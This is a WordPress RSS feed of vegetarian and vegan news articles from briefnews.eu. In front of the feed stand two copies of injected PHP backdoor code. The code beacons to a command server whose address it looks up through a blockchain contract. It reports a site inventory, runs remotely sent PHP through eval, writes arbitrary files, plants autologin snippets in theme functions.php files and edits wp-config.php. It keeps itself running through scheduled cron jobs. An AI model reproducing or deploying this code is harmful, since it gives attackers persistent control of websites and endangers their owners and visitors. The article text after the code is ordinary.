// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Vegetarian – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 03 Jan 2019 19:37:44 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Vegetarian – Brief News https://briefnews.eu 32 32 University of Waterloo looking to put more vegan and vegetarian options on the menu https://briefnews.eu/university-of-waterloo-looking-to-put-more-vegan-and-vegetarian-options-on-the-menu/ https://briefnews.eu/university-of-waterloo-looking-to-put-more-vegan-and-vegetarian-options-on-the-menu/#respond Thu, 03 Jan 2019 19:37:44 +0000 http://briefnews.eu/university-of-waterloo-looking-to-put-more-vegan-and-vegetarian-options-on-the-menu/ Food Forward Chef Training

Students at the University of Waterloo will soon be able to load up their plates with more vegan and vegetarian foods. Campus chefs are taking part in plant-based culinary training to learn how to prepare recipes that are meat, egg and dairy-free.

]]> https://briefnews.eu/university-of-waterloo-looking-to-put-more-vegan-and-vegetarian-options-on-the-menu/feed/ 0 8 Things to Watch for If You’re Considering Being Vegetarian https://briefnews.eu/8-things-to-watch-for-if-youre-considering-being-vegetarian/ https://briefnews.eu/8-things-to-watch-for-if-youre-considering-being-vegetarian/#respond Sat, 14 Jul 2018 09:34:57 +0000 http://briefnews.eu/8-things-to-watch-for-if-youre-considering-being-vegetarian/ Vegetarianism has been around for a long time, finding favor with many people, including Pythagoras clear back around 580 B.C. It’s been presented as one of the most healthy diets around, including being touted by the Egyptians to the point of abstaining from meat and animal clothing due to karmic beliefs. The vegetarian society (vegsoc.org) […]

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]]> https://briefnews.eu/8-things-to-watch-for-if-youre-considering-being-vegetarian/feed/ 0 17 Healthy Vegetarian Recipes for the Meat Lovers in Your Life https://briefnews.eu/17-healthy-vegetarian-recipes-for-the-meat-lovers-in-your-life/ https://briefnews.eu/17-healthy-vegetarian-recipes-for-the-meat-lovers-in-your-life/#respond Fri, 13 Jul 2018 04:57:20 +0000 http://briefnews.eu/17-healthy-vegetarian-recipes-for-the-meat-lovers-in-your-life/ Imagine if you could make healthy vegetarian recipes that even the most die-hard meat and potatoes fan would go wild for; maybe it would even make them ask for seconds. It might seem like quite a challenge, but truthfully, there are a variety of foods and seasonings we can work with to create similar flavors […]

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]]> https://briefnews.eu/17-healthy-vegetarian-recipes-for-the-meat-lovers-in-your-life/feed/ 0 ‘Nobody goes for vegetables’: KFC’s ‘vegetarian chicken’ polarizes opinions (POLL) https://briefnews.eu/nobody-goes-for-vegetables-kfcs-vegetarian-chicken-polarizes-opinions-poll/ https://briefnews.eu/nobody-goes-for-vegetables-kfcs-vegetarian-chicken-polarizes-opinions-poll/#respond Tue, 12 Jun 2018 08:38:23 +0000 http://briefnews.eu/nobody-goes-for-vegetables-kfcs-vegetarian-chicken-polarizes-opinions-poll/

The company’s entire business model rests on the greasy goodness of fried chicken, but American franchise KFC is preparing to ditch the fowl in favor of a vegetarian option.

Recently, the purveyor of “finger lickin’ good” southern fried chicken announced that it is working on a vegetarian-friendly chicken alternative for its meals.

According to KFC, the recipe won’t be ready until next year but the same blend of spices will be used in the deep-fry process.

READ MORE: Why didn’t the chicken cross the road? Delivery problems force KFC shutdown across UK, Ireland

“Development of the recipe is still in its very early stages, and so the options we’re exploring in our kitchen are still top secret,” KFC said in a statement. “Once we’ve perfected the recipe, we aim to test with customers this year, and if all goes well, we hope to have a new vegetarian option in 2019.”

The news has unleashed both excitement from vegetable lovers and disdain from fans of the Colonel Sanders original recipe.

But not everyone is positive about the veggie move. “Ever notice there’s no restaurant called Kentucky Fried Vegetable,” one aggrieved Twitter user said, while numerous others also weren’t so sure about the idea.

If you like this story, share it with a friend!

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]]> https://briefnews.eu/nobody-goes-for-vegetables-kfcs-vegetarian-chicken-polarizes-opinions-poll/feed/ 0 The Difference Between Vegan and Vegetarian (No They Aren’t the Same) https://briefnews.eu/the-difference-between-vegan-and-vegetarian-no-they-arent-the-same/ https://briefnews.eu/the-difference-between-vegan-and-vegetarian-no-they-arent-the-same/#respond Fri, 13 Apr 2018 04:48:46 +0000 http://briefnews.eu/the-difference-between-vegan-and-vegetarian-no-they-arent-the-same/

I’ve recently been on a date with a girl. When I told her that I don’t eat animal products, she asked me curiously: “So are you vegetarian or a vegan?”

“Wait what, do you know the difference?” – I replied. She answered with: “I think so, vegans completely avoid animal products while vegetarians sometimes eat eggs and dairy.” The definition was basic, yet spot-on. Needless to say, I was impressed.

Most people don’t know what veganism is nor the difference between vegan and vegetarian. In this article you will learn the difference between vegan and vegetarian so you are educated and can decide which one of those two are most suited for you.

What is veganism

Veganism is defined as:

“the practice of abstaining from the use of animal products, particularly in diet, and an associated philosophy that rejects the commodity status of animals.”

To put it simply: Vegans neither consume or buy anything that comes from an animal.

While most vegans act this way because of ethical reasons, the reasons don’t matter – the actions do. Behind veganism there’s often a cult.

At its heart [of veganism] is the healing power of compassion, the highest expression of love of which man is capable. For it is a giving without hope of a getting. And yet, because he would free himself from many of the demands made by his own lower nature, the benefit to man himself would be incalculable.
– Vegetarian World Forum

Donald Watson coined the term vegan in 1944 (almost hundred years after the word vegetarian was founded) . He first meant vegan to be known as ‘non-dairy vegetarian’, until the Vegan Scoiety (yes, there’s such a thing!) defined it as:[1]

“the doctrine that man should live without exploiting animals”.

Interest in veganism exploded in the 2010s.

What is vegetarianism

Vegetarianism is defined as:

“the practice of abstaining from the consumption of meat, and may also include abstention from by-products of animal slaughter. “

To put it simply: Vegetarians don’t consume or buy anything that is directly correlated to animal slaughter. Namely: No meat and often also no byproducts of animal slaughter, for example: gelatin, which is obtained from boiling skin, tendons or ligaments of cows or pigs.[2]

The word vegetarian was first used in 1839 and was refered to a “vegetable diet”. It’s commonly known to be a compound of vegetable and the suffix -arian.

The earliest findings of vegetarians date back to 7th century BCE.[3] It is said that the Greek teacher Pythagoras has advocated a vegetarian diet.[4]

The difference between vegan and vegetarian

Vegetarianism is the generic term of veganism. To put it blunt: Veganism is the more hardcore version of vegetarianism.

When I started this journey of minimizing animal products, I first followed a vegetarian diets for a couple of months. To get used to it and build up the necessary knowledge for following a vegan diet. In fact most vegans started out as being vegetarians and then minimized their consumption of animal products until they’re getting on the vegan level.

One may become a vegetarian for a variety of reasons – humanitarian, health, or mere preference for such a diet; The principle is a smatter of personal feeling, and varies accordingly. Veganism, however, is a principle – that man has no right to exploit the creatures for his own ends – and no variation occurs.
– Vegetarian World Forum

Veganism completely minimizes the exploitation of animals, while vegetarianism only minimizes direct slaughter. To reduce the pain caused on animals the most, one follows a vegan diet.

One might not directly kill an animal by buying an egg of a chicken for example, but the nature of the competitive animal industry makes it necessary to eliminate male chicks immediately once their born. Over 3 million male chicks get killed like this (Warning: Graphic) every year.

This also stems resentment between the veganism and the vegetarianism community, as vegans feel vegetarians are closing their eyes off to obvious suffering. I recently read a sticker on a vegan restaurant that said: “Vegetarian isn’t enough!”

This is the reason I’m an advocate of veganism, as it always was an all-or-nothing case for me.

Watch this video about all the reasons on why you should go vegan:

How to become a vegetarian (without overwhelming yourself)

The best way you can start becoming a vegetarian is by getting knowledge. Reading this article is a great first step: How to Become a Vegetarian (It’s not that Hard as You Thought!)

After that you should start slowly. The goal is to minimize all the meat in your diet.

But instead of eliminating all meat from your diet, eliminate one animal at a time.

For instance: start with beef. Don’t eat it for 30 days. Then eliminate pork in addition to beef. Continue to eliminate a category of meat every 30 days.

Eventually you’ll elimate all meat and seafood, but because of the gradual approach, it won’t feel unmanageable.

The key here is to keep it sustainable.

A word of caution: You may experience resistance and questions about becoming a vegetarian, especially from close friends and family that don’t want to change. Be kind when answering questions and don’t preach the benefits of vegetarianism.

Lead by example – then let them follow.

How to become a vegan (a step-by-step guide)

I’ve eaten meat my entire life. Maybe I even ate too much. I’ve followed the typical bodybuilding diet, rice and chicken with nearly every meal. This someties resulted in over 1 kilogram of meat a day.

Since more than 3 years I’m following a vegan diet and I have never looked back. While the original steps to go from meat eating to vegetarian are the same as to become a vegan, the vegan just goes a tad bit further.

I’ve written down 8 steps to become a vegan here:

How to Go Vegan (Step-By-Step Guide from a Fitness Coach)

I especially recommend you reading step 7 and step 8, as it’s the main difference between veganism and vegetarian.

Conclusion

To put it simply, veganism is the more hardcore version of vegetarianism.

Vegans aim to put the exploitation of all animals to an absolute minimum, while vegetarianism mainly reduces direct violence on the animals (e.g. slaughter).

This is also the reason why veganism has a now cult-like status, as veganism is more about a compassionate lifestyle than a eating behaviour.

Featured photo credit: QualityGains.com via qualitygains.com

Reference

[1] ^ The Vegetarian World Forum: Veganism Defined
[2] ^ Wikimedia: What is Vegetarianism: Benefit Or Harm On Health
[3] ^ Source: Olivelle, transl. from the original Sanskrit by Patrick (1998). Upaniṣads (Reissued ed.). Oxford [u.a.]: Oxford Univ. Press. ISBN 978-0192835765.
[4] ^ Borlik, Todd A. (2011) Ecocriticism and Early Modern English Literature: Green Pastures. New York City, New York and London, England: Routledge. pp. 189–192. ISBN 978-0-203-81924-1.

